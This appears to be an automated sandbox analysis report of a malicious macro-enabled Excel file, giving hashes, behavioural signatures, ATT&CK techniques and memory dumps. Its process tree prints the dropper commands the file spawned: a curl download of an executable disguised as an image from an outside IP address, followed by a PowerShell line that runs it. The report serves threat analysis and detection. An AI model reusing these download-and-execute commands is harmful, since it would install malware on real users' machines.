25c21312f08085b556530382fee3e20b8bab4cd71807644dd3eaced0b4b03585

General

Target

25c21312f08085b556530382fee3e20b8bab4cd71807644dd3eaced0b4b03585.xlsm
Size

128KB
MD5

522613de6c64fbb125351951a93e3e64
SHA1

4bb1a57dbc7d890d97ee82c30f2f97946484e004
SHA256

25c21312f08085b556530382fee3e20b8bab4cd71807644dd3eaced0b4b03585
SHA512

cb3d9de9f5da2e19479f6e3b32fdaa7718515f53714dd90dbf93c613d2a6361db8a181f6d803800da5cd420e55ff8fcfb85ee6fea2c6701337c768fc7370b8ad

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	964	664	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2200	664	cmd.exe	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

664 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

964 powershell.exe
964 powershell.exe
964 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 964 powershell.exe

pid	process
964	powershell.exe
964	powershell.exe
964	powershell.exe

description	pid	process
Token: SeDebugPrivilege	964	powershell.exe

Suspicious use of SetWindowsHookEx 17 IoCs

Processes:

EXCEL.EXE

pid	process
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE
664	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 664 wrote to memory of 964	664	EXCEL.EXE	powershell.exe
PID 664 wrote to memory of 964	664	EXCEL.EXE	powershell.exe
PID 664 wrote to memory of 2200	664	EXCEL.EXE	cmd.exe
PID 664 wrote to memory of 2200	664	EXCEL.EXE	cmd.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\25c21312f08085b556530382fee3e20b8bab4cd71807644dd3eaced0b4b03585.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:664

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\AyBtH.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:964

C:\Windows\SYSTEM32\cmd.exe
cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\AyBtH.exe
2⤵
- Process spawned unexpected child process
PID:2200

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/664-122-0x00007FFACD4E0000-0x00007FFACE5CE000-memory.dmp

Filesize
16.9MB

Download
memory/664-114-0x00007FF7F88F0000-0x00007FF7FBEA6000-memory.dmp

Filesize
53.7MB

Download
memory/664-116-0x00007FFAAC630000-0x00007FFAAC640000-memory.dmp

Filesize
64KB

Download
memory/664-117-0x00007FFAAC630000-0x00007FFAAC640000-memory.dmp

Filesize
64KB

Download
memory/664-118-0x00007FFAAC630000-0x00007FFAAC640000-memory.dmp

Filesize
64KB

Download
memory/664-119-0x00007FFAAC630000-0x00007FFAAC640000-memory.dmp

Filesize
64KB

Download
memory/664-115-0x00007FFAAC630000-0x00007FFAAC640000-memory.dmp

Filesize
64KB

Download
memory/664-123-0x00007FFACB3C0000-0x00007FFACD2B5000-memory.dmp

Filesize
31.0MB

Download
memory/964-258-0x0000000000000000-mapping.dmp

Download
memory/964-265-0x000002AB70500000-0x000002AB70501000-memory.dmp

Filesize
4KB

Download
memory/964-268-0x000002AB70840000-0x000002AB70841000-memory.dmp

Filesize
4KB

Download
memory/964-271-0x000002AB70630000-0x000002AB70632000-memory.dmp

Filesize
8KB

Download
memory/964-272-0x000002AB70633000-0x000002AB70635000-memory.dmp

Filesize
8KB

Download
memory/964-286-0x000002AB70636000-0x000002AB70638000-memory.dmp

Filesize
8KB

Download
memory/2200-259-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads